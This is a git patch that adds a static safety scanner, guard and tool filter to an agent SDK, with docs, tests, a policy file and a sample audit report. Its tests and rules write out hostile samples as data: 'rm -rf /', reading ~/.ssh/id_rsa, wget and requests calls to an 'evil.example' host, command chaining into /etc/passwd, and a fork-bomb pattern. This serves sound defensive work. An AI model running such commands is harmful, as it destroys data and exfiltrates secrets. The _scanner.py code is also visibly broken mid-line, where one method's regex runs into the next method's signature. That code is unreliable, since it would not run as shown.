From 6bccd36b5db1fb70dc31ec5b06f1a2ba8b63228f Mon Sep 17 00:00:00 2001 From: zhangzherui Date: Mon, 13 Jul 2026 02:46:54 +0800 Subject: [PATCH] add tool script safety guard --- docs/tool_script_safety.md | 41 ++++ scripts/tool_safety_check.py | 41 ++++ tests/tools/safety/test_tool_script_safety.py | 149 +++++++++++ tool_safety_audit.jsonl | 1 + tool_safety_policy.yaml | 22 ++ tool_safety_report.json | 24 ++ trpc_agent_sdk/tools/safety/__init__.py | 36 +++ trpc_agent_sdk/tools/safety/_guard.py | 180 ++++++++++++++ trpc_agent_sdk/tools/safety/_models.py | 69 ++++++ trpc_agent_sdk/tools/safety/_policy.py | 35 +++ trpc_agent_sdk/tools/safety/_scanner.py | 232 ++++++++++++++++++ 11 files changed, 830 insertions(+) create mode 100644 docs/tool_script_safety.md create mode 100644 scripts/tool_safety_check.py create mode 100644 tests/tools/safety/test_tool_script_safety.py create mode 100644 tool_safety_audit.jsonl create mode 100644 tool_safety_policy.yaml create mode 100644 tool_safety_report.json create mode 100644 trpc_agent_sdk/tools/safety/__init__.py create mode 100644 trpc_agent_sdk/tools/safety/_guard.py create mode 100644 trpc_agent_sdk/tools/safety/_models.py create mode 100644 trpc_agent_sdk/tools/safety/_policy.py create mode 100644 trpc_agent_sdk/tools/safety/_scanner.py diff --git a/docs/tool_script_safety.md b/docs/tool_script_safety.md new file mode 100644 index 00000000..97078368 --- /dev/null +++ b/docs/tool_script_safety.md @@ -0,0 +1,41 @@ +# Tool Script Safety Guard + +`trpc_agent_sdk.tools.safety` 在脚本执行前进行快速静态扫描，支持 Python 与 Bash，输出 +`allow`、`deny` 或 `needs_human_review`。规则覆盖危险文件操作、敏感路径、网络外连、进程创建、 +依赖安装、资源滥用及秘密泄漏。规则命中包含风险类型、级别、规则 ID、证据、行号和处理建议。 + +## 使用与接入 + +```python +from trpc_agent_sdk.tools.safety import JsonlAuditSink, ToolSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyRequest, ToolScriptSafetyScanner + +scanner = ToolScriptSafetyScanner.from_policy_file("tool_safety_policy.yaml") +guard = ToolSafetyGuard(scanner, JsonlAuditSink("tool_safety_audit.jsonl")) +result = await guard.run( + ToolSafetyRequest(tool_name="python", script=code, language="python"), + lambda: execute_in_sandbox(code), +) +``` + +所有 `BaseTool` 均经过 Filter 链。向 Tool、MCP Tool 或 Skill 背后的 Tool 添加注册名 +`tool_script_safety`，即可在 `_run_async_impl` 或 CodeExecutor 真正运行前检查 `script`、`code` 或 +`command` 参数。`needs_human_review` 默认暂停执行；调用方完成审批后可传 +`human_approved=True`。命令行可运行： + +```bash +python scripts/tool_safety_check.py --file job.py --language python +python scripts/tool_safety_check.py --command "curl https://api.example.com/health" +``` + +策略 YAML 可直接修改域名白名单、允许命令、禁止路径、超时和最大输出大小，无需改代码。 +每次 Guard 检查可写 JSONL 审计事件，并在当前 OpenTelemetry span 设置 +`tool.safety.decision`、`tool.safety.risk_level`、`tool.safety.rule_id`、耗时和拦截状态。 + +## 安全边界与扩展 + +这是执行前的 Filter，不是沙箱。静态规则会有误报，也可能被编码、动态拼接、别名、间接导入、 +运行时下载或未知解释器绕过；它不能限制 CPU、内存、文件系统、网络和子进程。生产环境仍应让 +CodeExecutor 在最小权限沙箱内运行，并同时设置进程超时、输出上限、网络策略和凭据隔离。 +新增规则时在 scanner 中追加窄匹配并返回稳定 rule ID，同时添加安全与危险对照样本；高风险规则 +应优先拒绝，不确定行为应进入人工复核。 diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py new file mode 100644 index 00000000..654edb36 --- /dev/null +++ b/scripts/tool_safety_check.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +"""Scan a Python file or Bash command and print a JSON safety report.""" + +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path + +# Make the source checkout runnable without requiring an editable install. +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + +from trpc_agent_sdk.tools.safety import ToolSafetyRequest +from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + source = parser.add_mutually_exclusive_group(required=True) + source.add_argument("--file", type=Path, help="Python or shell script to scan") + source.add_argument("--command", help="Shell command to scan") + parser.add_argument("--policy", type=Path, default=Path("tool_safety_policy.yaml")) + parser.add_argument("--tool-name", default="script_check") + parser.add_argument("--language", choices=("auto", "python", "bash", "shell"), default="auto") + args = parser.parse_args() + + script = args.file.read_text(encoding="utf-8") if args.file else args.command + language = args.language + if language == "auto" and args.file: + language = "python" if args.file.suffix == ".py" else "bash" + scanner = ToolScriptSafetyScanner.from_policy_file(args.policy) + report = scanner.scan( + ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language) + ) + print(json.dumps(report.model_dump(mode="json"), ensure_ascii=False, indent=2)) + return 0 if report.decision.value == "allow" else 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests/tools/safety/test_tool_script_safety.py b/tests/tools/safety/test_tool_script_safety.py new file mode 100644 index 00000000..0db18368 --- /dev/null +++ b/tests/tools/safety/test_tool_script_safety.py @@ -0,0 +1,149 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Acceptance tests for Tool Script Safety Guard.""" + +from __future__ import annotations + +import json +import time + +import pytest + +from trpc_agent_sdk.abc import FilterResult +from trpc_agent_sdk.tools.safety import JsonlAuditSink +from trpc_agent_sdk.tools.safety import SafetyDecision +from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError +from trpc_agent_sdk.tools.safety import ToolSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety import ToolSafetyRequest +from trpc_agent_sdk.tools.safety import ToolSafetyResourceLimitError +from trpc_agent_sdk.tools.safety import ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner + + +@pytest.fixture +def scanner() -> ToolScriptSafetyScanner: + return ToolScriptSafetyScanner( + ToolSafetyPolicy( + allowed_domains=["api.example.com"], + allowed_commands=["echo", "pwd", "ls", "cat", "grep", "curl"], + ) + ) + + +@pytest.mark.parametrize( + ("name", "language", "script", "decision", "rule_id"), + [ + ("safe_python", "python", "items = [1, 2, 3]\nprint(sum(items))", "allow", None), + ("dangerous_delete", "bash", "rm -rf /", "deny", "FILE_DESTRUCTIVE"), + ("read_ssh_key", "python", "print(open('~/.ssh/id_rsa').read())", "deny", "PATH_FORBIDDEN"), + ("network_egress", "python", "requests.get('https://evil.example/collect')", "deny", + "NET_DOMAIN_NOT_ALLOWED"), + ("allowed_network", "python", "requests.get('https://api.example.com/health')", "allow", None), + ("subprocess", "python", "subprocess.run(['git', 'status'])", "needs_human_review", "PROCESS_SPAWN"), + ("shell_injection", "bash", "echo safe; cat /etc/passwd", "deny", "SHELL_CONTROL_OPERATOR"), + ("dependency_install", "bash", "pip install untrusted", "deny", "DEPENDENCY_INSTALL"), + ("infinite_loop", "python", "while True:\n pass", "deny", "RESOURCE_INFINITE_LOOP"), + ("secret_output", "python", "print('api_key=' + api_key)", "deny", "SECRET_EXPOSURE"), + ("bash_pipeline", "bash", "cat input.txt | grep token", "needs_human_review", "SHELL_PIPELINE_REVIEW"), + ("dynamic_network", "python", "url = input()\nrequests.get(url)", "needs_human_review", + "NET_DYNAMIC_DESTINATION"), + ], +) +def test_public_samples(scanner, name, language, script, decision, rule_id): + report = scanner.scan(ToolSafetyRequest(tool_name=name, script=script, language=language)) + assert report.decision.value == decision + if rule_id: + assert rule_id in report.rule_ids + finding = next(item for item in report.findings if item.rule_id == rule_id) + assert finding.evidence + assert finding.recommendation + + +def test_policy_reload_changes_domain_path_and_command(tmp_path): + policy_file = tmp_path / "policy.yaml" + policy_file.write_text( + "allowed_domains: [internal.example]\n" + "allowed_commands: [status]\n" + "forbidden_paths: [/sensitive]\n", + encoding="utf-8", + ) + scanner = ToolScriptSafetyScanner.from_policy_file(policy_file) + report = scanner.scan( + ToolSafetyRequest(tool_name="x", script="status", language="bash") + ) + assert report.decision == SafetyDecision.ALLOW + assert scanner.scan(ToolSafetyRequest( + tool_name="x", script="curl https://internal.example/ok", language="python" + )).decision == SafetyDecision.ALLOW + assert "PATH_FORBIDDEN" in scanner.scan(ToolSafetyRequest( + tool_name="x", script="open('/sensitive/key')", language="python" + )).rule_ids + + +def test_500_line_scan_is_faster_than_one_second(scanner): + script = "\n".join(f"value_{index} = {index}" for index in range(500)) + started = time.perf_counter() + report = scanner.scan(ToolSafetyRequest(tool_name="python", script=script, language="python")) + assert time.perf_counter() - started < 1.0 + assert report.decision == SafetyDecision.ALLOW + + +@pytest.mark.asyncio +async def test_guard_blocks_before_execution_and_audits(scanner, tmp_path): + executed = False + + async def executor(): + nonlocal executed + executed = True + + audit_path = tmp_path / "audit.jsonl" + guard = ToolSafetyGuard(scanner, JsonlAuditSink(audit_path)) + with pytest.raises(ToolSafetyBlockedError): + await guard.run( + ToolSafetyRequest(tool_name="bash", script="rm -rf /", language="bash"), + executor, + ) + assert not executed + event = json.loads(audit_path.read_text(encoding="utf-8")) + assert event["tool_name"] == "bash" + assert event["blocked"] is True + assert event["redacted"] is False + assert "FILE_DESTRUCTIVE" in event["rule_id"] + + +@pytest.mark.asyncio +async def test_filter_blocks_before_tool_handler(): + safety_filter = ToolScriptSafetyFilter() + response = FilterResult() + await safety_filter._before(None, {"command": "wget https://evil.example/x"}, response) + assert response.is_continue is False + assert response.rsp["safety_report"]["decision"] == "deny" + + +@pytest.mark.asyncio +async def test_guard_enforces_output_limit(): + scanner = ToolScriptSafetyScanner(ToolSafetyPolicy(max_output_bytes=4)) + guard = ToolSafetyGuard(scanner) + with pytest.raises(ToolSafetyResourceLimitError): + await guard.run( + ToolSafetyRequest(tool_name="safe", script="print('ok')", language="python"), + lambda: "12345", + ) + + +def test_sensitive_environment_values_are_not_recorded(scanner): + report = scanner.scan( + ToolSafetyRequest( + tool_name="python", + script="print('done')", + language="python", + environment={"API_KEY": "super-secret-value"}, + ) + ) + serialized = report.model_dump_json() + assert report.redacted is True + assert "super-secret-value" not in serialized diff --git a/tool_safety_audit.jsonl b/tool_safety_audit.jsonl new file mode 100644 index 00000000..35eb24ef --- /dev/null +++ b/tool_safety_audit.jsonl @@ -0,0 +1 @@ +{"timestamp":"2026-07-13T00:00:00Z","tool_name":"bash","decision":"deny","risk_level":"critical","rule_id":["FILE_DESTRUCTIVE"],"duration_ms":0.2,"redacted":false,"blocked":true} diff --git a/tool_safety_policy.yaml b/tool_safety_policy.yaml new file mode 100644 index 00000000..6e819ead --- /dev/null +++ b/tool_safety_policy.yaml @@ -0,0 +1,22 @@ +allowed_domains: + - api.example.com +allowed_commands: + - echo + - pwd + - ls + - cat + - grep + - curl +forbidden_paths: + - ~/.ssh + - .env + - credentials.json + - /etc/shadow + - /root +max_timeout_seconds: 60 +max_output_bytes: 1000000 +deny_risk_levels: + - critical + - high +review_risk_levels: + - medium diff --git a/tool_safety_report.json b/tool_safety_report.json new file mode 100644 index 00000000..45095327 --- /dev/null +++ b/tool_safety_report.json @@ -0,0 +1,24 @@ +{ + "tool_name": "bash", + "decision": "deny", + "risk_level": "critical", + "findings": [ + { + "risk_type": "dangerous_file_operation", + "risk_level": "critical", + "rule_id": "FILE_DESTRUCTIVE", + "evidence": "rm -rf /", + "recommendation": "Restrict writes to an isolated workspace and require explicit approval.", + "line": 1 + } + ], + "rule_ids": ["FILE_DESTRUCTIVE"], + "duration_ms": 0.2, + "redacted": false, + "blocked": true, + "telemetry_attributes": { + "tool.safety.decision": "deny", + "tool.safety.risk_level": "critical", + "tool.safety.rule_id": "FILE_DESTRUCTIVE" + } +} diff --git a/trpc_agent_sdk/tools/safety/__init__.py b/trpc_agent_sdk/tools/safety/__init__.py new file mode 100644 index 00000000..e44350b7 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/__init__.py @@ -0,0 +1,36 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Public API for pre-execution tool script safety checks.""" + +from ._guard import JsonlAuditSink +from ._guard import ToolSafetyBlockedError +from ._guard import ToolSafetyGuard +from ._guard import ToolSafetyResourceLimitError +from ._guard import ToolScriptSafetyFilter +from ._guard import set_safety_span_attributes +from ._models import RiskLevel +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import ToolSafetyReport +from ._models import ToolSafetyRequest +from ._policy import ToolSafetyPolicy +from ._scanner import ToolScriptSafetyScanner + +__all__ = [ + "JsonlAuditSink", + "RiskLevel", + "SafetyDecision", + "SafetyFinding", + "ToolSafetyBlockedError", + "ToolSafetyGuard", + "ToolSafetyPolicy", + "ToolSafetyReport", + "ToolSafetyResourceLimitError", + "ToolSafetyRequest", + "ToolScriptSafetyFilter", + "ToolScriptSafetyScanner", + "set_safety_span_attributes", +] diff --git a/trpc_agent_sdk/tools/safety/_guard.py b/trpc_agent_sdk/tools/safety/_guard.py new file mode 100644 index 00000000..af706173 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_guard.py @@ -0,0 +1,180 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Execution guard, audit sink, and Tool Filter integration.""" + +from __future__ import annotations + +import asyncio +import inspect +import json +import time +from pathlib import Path +from typing import Any +from typing import Awaitable +from typing import Callable + +from opentelemetry import trace + +from trpc_agent_sdk.abc import FilterResult +from trpc_agent_sdk.context import AgentContext +from trpc_agent_sdk.filter import BaseFilter +from trpc_agent_sdk.filter import register_tool_filter +from trpc_agent_sdk.log import logger + +from ._models import SafetyDecision +from ._models import ToolSafetyReport +from ._models import ToolSafetyRequest +from ._scanner import ToolScriptSafetyScanner + + +class ToolSafetyBlockedError(PermissionError): + """Raised by the wrapper when policy blocks execution.""" + + def __init__(self, report: ToolSafetyReport): + super().__init__(f"Tool execution blocked: {report.decision.value} ({', '.join(report.rule_ids)})") + self.report = report + + +class ToolSafetyResourceLimitError(RuntimeError): + """Raised when an allowed execution exceeds a configured runtime limit.""" + + +class JsonlAuditSink: + """Append redacted safety decisions as one JSON object per line.""" + + def __init__(self, path: str | Path): + self.path = Path(path) + + def emit(self, report: ToolSafetyReport) -> None: + self.path.parent.mkdir(parents=True, exist_ok=True) + event = { + "timestamp": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), + "tool_name": report.tool_name, + "decision": report.decision.value, + "risk_level": report.risk_level.value, + "rule_id": report.rule_ids, + "duration_ms": report.duration_ms, + "redacted": report.redacted, + "blocked": report.blocked, + } + with self.path.open("a", encoding="utf-8") as stream: + stream.write(json.dumps(event, ensure_ascii=False) + "\n") + + +def set_safety_span_attributes(report: ToolSafetyReport) -> None: + """Attach the stable safety schema when an OpenTelemetry span is active.""" + span = trace.get_current_span() + if not span.is_recording(): + return + for key, value in report.telemetry_attributes.items(): + span.set_attribute(key, value) + span.set_attribute("tool.safety.blocked", report.blocked) + span.set_attribute("tool.safety.redacted", report.redacted) + span.set_attribute("tool.safety.duration_ms", report.duration_ms) + + +class ToolSafetyGuard: + """Scan, audit and gate a callable before it executes.""" + + def __init__( + self, + scanner: ToolScriptSafetyScanner | None = None, + audit_sink: JsonlAuditSink | None = None, + ): + self.scanner = scanner or ToolScriptSafetyScanner() + self.audit_sink = audit_sink + + def check(self, request: ToolSafetyRequest) -> ToolSafetyReport: + report = self.scanner.scan(request) + audit_event = { + "event": "tool_safety_decision", + "tool_name": report.tool_name, + "decision": report.decision.value, + "risk_level": report.risk_level.value, + "rule_id": report.rule_ids, + "duration_ms": report.duration_ms, + "redacted": report.redacted, + "blocked": report.blocked, + } + logger.info("tool safety audit: %s", json.dumps(audit_event, ensure_ascii=False)) + if self.audit_sink: + self.audit_sink.emit(report) + set_safety_span_attributes(report) + return report + + async def run( + self, + request: ToolSafetyRequest, + executor: Callable[[], Any | Awaitable[Any]], + ) -> Any: + report = self.check(request) + approved = bool(request.metadata.get("human_approved")) + if report.decision == SafetyDecision.DENY or ( + report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and not approved + ): + raise ToolSafetyBlockedError(report) + result = executor() + if inspect.isawaitable(result): + requested_timeout = request.metadata.get("timeout") + timeout = self.scanner.policy.max_timeout_seconds + if isinstance(requested_timeout, (int, float)) and requested_timeout > 0: + timeout = min(float(requested_timeout), timeout) + try: + result = await asyncio.wait_for(result, timeout=timeout) + except asyncio.TimeoutError as exc: + raise ToolSafetyResourceLimitError( + f"Tool execution exceeded {timeout} seconds" + ) from exc + if isinstance(result, bytes): + output_size = len(result) + elif isinstance(result, str): + output_size = len(result.encode("utf-8")) + else: + output_size = len(json.dumps(result, default=str).encode("utf-8")) + if output_size > self.scanner.policy.max_output_bytes: + raise ToolSafetyResourceLimitError( + f"Tool output exceeded {self.scanner.policy.max_output_bytes} bytes" + ) + return result + + +@register_tool_filter("tool_script_safety") +class ToolScriptSafetyFilter(BaseFilter): + """Tool Filter that blocks unsafe ``script``/``code``/``command`` args.""" + + def __init__(self): + super().__init__() + self.guard = ToolSafetyGuard() + + async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult): + if not isinstance(req, dict): + return + script = req.get("script") or req.get("code") or req.get("command") + if not isinstance(script, str): + return + try: + from trpc_agent_sdk.tools import get_tool_var + + tool = get_tool_var() + tool_name = getattr(tool, "name", "unknown_tool") + except (LookupError, RuntimeError): + tool_name = "unknown_tool" + request = ToolSafetyRequest( + tool_name=tool_name, + script=script, + language=req.get("language", "auto"), + command_args=[str(value) for value in req.get("command_args", [])], + working_directory=req.get("cwd") or req.get("working_directory"), + environment={str(key): str(value) for key, value in req.get("env", {}).items()}, + metadata={"timeout": req.get("timeout"), "human_approved": req.get("human_approved", False)}, + ) + report = self.guard.check(request) + approved = bool(request.metadata.get("human_approved")) + if report.decision == SafetyDecision.DENY or ( + report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW and not approved + ): + rsp.rsp = {"success": False, "safety_report": report.model_dump(mode="json")} + rsp.is_continue = False diff --git a/trpc_agent_sdk/tools/safety/_models.py b/trpc_agent_sdk/tools/safety/_models.py new file mode 100644 index 00000000..fb98eec0 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_models.py @@ -0,0 +1,69 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Data models for tool script safety scanning.""" + +from __future__ import annotations + +from enum import Enum +from typing import Any + +from pydantic import BaseModel +from pydantic import Field + + +class SafetyDecision(str, Enum): + """Execution decision produced by the scanner.""" + + ALLOW = "allow" + DENY = "deny" + NEEDS_HUMAN_REVIEW = "needs_human_review" + + +class RiskLevel(str, Enum): + """Ordered risk level used by findings and reports.""" + + NONE = "none" + LOW = "low" + MEDIUM = "medium" + HIGH = "high" + CRITICAL = "critical" + + +class SafetyFinding(BaseModel): + """One rule match with actionable evidence.""" + + risk_type: str + risk_level: RiskLevel + rule_id: str + evidence: str + recommendation: str + line: int | None = None + + +class ToolSafetyRequest(BaseModel): + """Inputs available before a script-capable tool executes.""" + + tool_name: str + script: str = "" + language: str = "auto" + command_args: list[str] = Field(default_factory=list) + working_directory: str | None = None + environment: dict[str, str] = Field(default_factory=dict) + metadata: dict[str, Any] = Field(default_factory=dict) + + +class ToolSafetyReport(BaseModel): + """Structured, monitoring-friendly scan result.""" + + tool_name: str + decision: SafetyDecision + risk_level: RiskLevel + findings: list[SafetyFinding] + rule_ids: list[str] + duration_ms: float + redacted: bool + blocked: bool + telemetry_attributes: dict[str, str] diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py new file mode 100644 index 00000000..f89c1caf --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -0,0 +1,35 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Configuration loading for tool script safety policies.""" + +from __future__ import annotations + +from pathlib import Path + +import yaml +from pydantic import BaseModel +from pydantic import Field + + +class ToolSafetyPolicy(BaseModel): + """Policy values that can be changed without modifying scanner code.""" + + allowed_domains: list[str] = Field(default_factory=list) + allowed_commands: list[str] = Field(default_factory=lambda: ["echo", "pwd", "ls"]) + forbidden_paths: list[str] = Field( + default_factory=lambda: ["~/.ssh", ".env", "credentials.json", "/etc/shadow", "/root"] + ) + max_timeout_seconds: int = 60 + max_output_bytes: int = 1_000_000 + deny_risk_levels: list[str] = Field(default_factory=lambda: ["critical", "high"]) + review_risk_levels: list[str] = Field(default_factory=lambda: ["medium"]) + + @classmethod + def from_yaml(cls, path: str | Path) -> "ToolSafetyPolicy": + """Load and validate a YAML policy file.""" + with Path(path).open("r", encoding="utf-8") as stream: + data = yaml.safe_load(stream) or {} + return cls.model_validate(data) diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py new file mode 100644 index 00000000..1c292a38 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -0,0 +1,232 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Static safety scanner for Python scripts and shell commands.""" + +from __future__ import annotations + +import re +import shlex +import time +from pathlib import Path +from typing import Iterable +from urllib.parse import urlparse + +from ._models import RiskLevel +from ._models import SafetyDecision +from ._models import SafetyFinding +from ._models import ToolSafetyReport +from ._models import ToolSafetyRequest +from ._policy import ToolSafetyPolicy + +_RISK_ORDER = { + RiskLevel.NONE: 0, + RiskLevel.LOW: 1, + RiskLevel.MEDIUM: 2, + RiskLevel.HIGH: 3, + RiskLevel.CRITICAL: 4, +} + +_SECRET_RE = re.compile( + r"(?i)(api[_-]?key|access[_-]?token|password|passwd|private[_-]?key|secret)" +) +_URL_RE = re.compile(r"https?://[^\s'\"\\)]+", re.IGNORECASE) + + +class ToolScriptSafetyScanner: + """Apply deterministic rules to script execution inputs.""" + + def __init__(self, policy: ToolSafetyPolicy | None = None): + self.policy = policy or ToolSafetyPolicy() + + @classmethod + def from_policy_file(cls, path: str | Path) -> "ToolScriptSafetyScanner": + return cls(ToolSafetyPolicy.from_yaml(path)) + + def scan(self, request: ToolSafetyRequest) -> ToolSafetyReport: + """Scan a request without executing or importing its script.""" + started = time.perf_counter() + text = " ".join([request.script, *request.command_args]) + findings: list[SafetyFinding] = [] + + self._scan_paths(text, request.working_directory, findings) + self._scan_network(text, findings) + self._scan_processes(text, request.language, findings) + self._scan_dependencies(text, findings) + self._scan_resources(text, request.metadata, findings) + redacted = self._scan_secrets(text, request.environment, findings) + + risk_level = max( + (finding.risk_level for finding in findings), + key=lambda level: _RISK_ORDER[level], + default=RiskLevel.NONE, + ) + levels = {finding.risk_level.value for finding in findings} + if levels.intersection(self.policy.deny_risk_levels): + decision = SafetyDecision.DENY + elif levels.intersection(self.policy.review_risk_levels): + decision = SafetyDecision.NEEDS_HUMAN_REVIEW + else: + decision = SafetyDecision.ALLOW + rule_ids = list(dict.fromkeys(finding.rule_id for finding in findings)) + duration_ms = (time.perf_counter() - started) * 1000 + attributes = { + "tool.safety.decision": decision.value, + "tool.safety.risk_level": risk_level.value, + "tool.safety.rule_id": ",".join(rule_ids), + } + return ToolSafetyReport( + tool_name=request.tool_name, + decision=decision, + risk_level=risk_level, + findings=findings, + rule_ids=rule_ids, + duration_ms=duration_ms, + redacted=redacted, + blocked=decision != SafetyDecision.ALLOW, + telemetry_attributes=attributes, + ) + + @staticmethod + def _add( + findings: list[SafetyFinding], + risk_type: str, + level: RiskLevel, + rule_id: str, + evidence: str, + recommendation: str, + text: str, + ) -> None: + evidence = evidence[:160] + line = text[: text.find(evidence)].count("\n") + 1 if evidence in text else None + findings.append( + SafetyFinding( + risk_type=risk_type, + risk_level=level, + rule_id=rule_id, + evidence=evidence, + recommendation=recommendation, + line=line, + ) + ) + + def _scan_paths( + self, text: str, working_directory: str | None, findings: list[SafetyFinding] + ) -> None: + destructive = re.search( + r"(?im)(rm\s+-[^\n]*r[^\n]*\s+(?:/|~)|shutil\.rmtree\s*\(|os\.remove\s*\(|" + r"(?:open|Path)\s*\([^\n]+['\"]w['\"])", + text, + ) + if destructive: + self._add(findings, "dangerous_file_operation", RiskLevel.CRITICAL, + "FILE_DESTRUCTIVE", destructive.group(0), + "Restrict writes to an isolated workspace and require explicit approval.", text) + haystack = " ".join(filter(None, [text, working_directory])) + for forbidden in self.policy.forbidden_paths: + expanded = str(Path(forbidden).expanduser()) + candidates = {forbidden, expanded, forbidden.replace("~", "$HOME")} + matched = next((candidate for candidate in candidates if candidate and candidate in haystack), None) + if matched: + self._add(findings, "sensitive_path_access", RiskLevel.HIGH, + "PATH_FORBIDDEN", matched, + "Remove sensitive paths or use a narrowly scoped secret provider.", haystack) + + def _scan_network(self, text: str, findings: list[SafetyFinding]) -> None: + network_api = re.search(r"(?i)\b(curl|wget|requests\.|aiohttp\.|socket\.)", text) + urls = _URL_RE.findall(text) + for url in urls: + host = (urlparse(url).hostname or "").lower() + allowed = any(host == domain.lower() or host.endswith("." + domain.lower()) + for domain in self.policy.allowed_domains) + if not allowed: + self._add(findings, "network_egress", RiskLevel.HIGH, + "NET_DOMAIN_NOT_ALLOWED", url, + "Add a reviewed domain to allowed_domains or remove the request.", text) + if network_api and not urls: + self._add(findings, "network_egress", RiskLevel.MEDIUM, + "NET_DYNAMIC_DESTINATION", network_api.group(0), + "Resolve the destination and request human review.", text) + + def _scan_processes( + self, text: str, language: str, findings: list[SafetyFinding] + ) -> None: + shell_injection = re.search(r"(?m)(;|&&|\|\||`[^`]+`|\$\([^\)]+\))", text) + if shell_injection: + self._add(findings, "shell_injection", RiskLevel.HIGH, + "SHELL_CONTROL_OPERATOR", shell_injection.group(0), + "Use an argv list and avoid shell interpolation/control operators.", text) + pipeline = re.search(r"(? None: + match = re.search(r"(?i)\b(?:pip(?:3)?|npm|yarn|apt(?:-get)?|brew)\s+install\b", text) + if match: + self._add(findings, "dependency_install", RiskLevel.HIGH, + "DEPENDENCY_INSTALL", match.group(0), + "Build dependencies into a reviewed immutable environment.", text) + + def _scan_resources( + self, text: str, metadata: dict, findings: list[SafetyFinding] + ) -> None: + patterns: Iterable[tuple[str, RiskLevel, str]] = ( + (r"(?m)while\s+True\s*:", RiskLevel.HIGH, "RESOURCE_INFINITE_LOOP"), + (r":\(\)\s*\{\s*:\|:&\s*;\s*\}", RiskLevel.CRITICAL, "RESOURCE_FORK_BOMB"), + (r"(?i)(?:time\.)?sleep\s*\(\s*(?:[6-9]\d|\d{3,})", RiskLevel.MEDIUM, "RESOURCE_LONG_SLEEP"), + (r"(?i)(?:ThreadPoolExecutor|ProcessPoolExecutor)\s*\(\s*(?:[5-9]\d|\d{3,})", RiskLevel.HIGH, + "RESOURCE_CONCURRENCY"), + ) + for pattern, level, rule_id in patterns: + match = re.search(pattern, text) + if match: + self._add(findings, "resource_abuse", level, rule_id, match.group(0), + "Apply timeout, process, memory and concurrency limits in a sandbox.", text) + timeout = metadata.get("timeout") + if isinstance(timeout, (int, float)) and timeout > self.policy.max_timeout_seconds: + self._add(findings, "resource_abuse", RiskLevel.MEDIUM, + "RESOURCE_TIMEOUT_LIMIT", str(timeout), + f"Limit timeout to {self.policy.max_timeout_seconds} seconds.", text) + + def _scan_secrets( + self, text: str, environment: dict[str, str], findings: list[SafetyFinding] + ) -> bool: + output = re.search( + r"(?is)(print|logging\.[a-z]+|echo|curl|requests\.(?:post|put))[^\n]{0,160}" + r"(api[_-]?key|token|password|private[_-]?key|secret)", + text, + ) + sensitive_env = [name for name in environment if _SECRET_RE.search(name)] + if output or sensitive_env: + evidence = output.group(0) if output else f"environment keys: {', '.join(sensitive_env)}" + self._add(findings, "sensitive_data_exposure", RiskLevel.HIGH, + "SECRET_EXPOSURE", evidence, + "Redact secrets and pass opaque references instead of secret values.", text) + return True + return False + + @staticmethod + def _first_command(text: str) -> str | None: + stripped = text.strip() + if not stripped or "\n" in stripped or re.match(r"^(?:from|import|def|class)\b", stripped): + return None + try: + tokens = shlex.split(stripped, posix=True) + except ValueError: + return None + return tokens[0] if tokens else None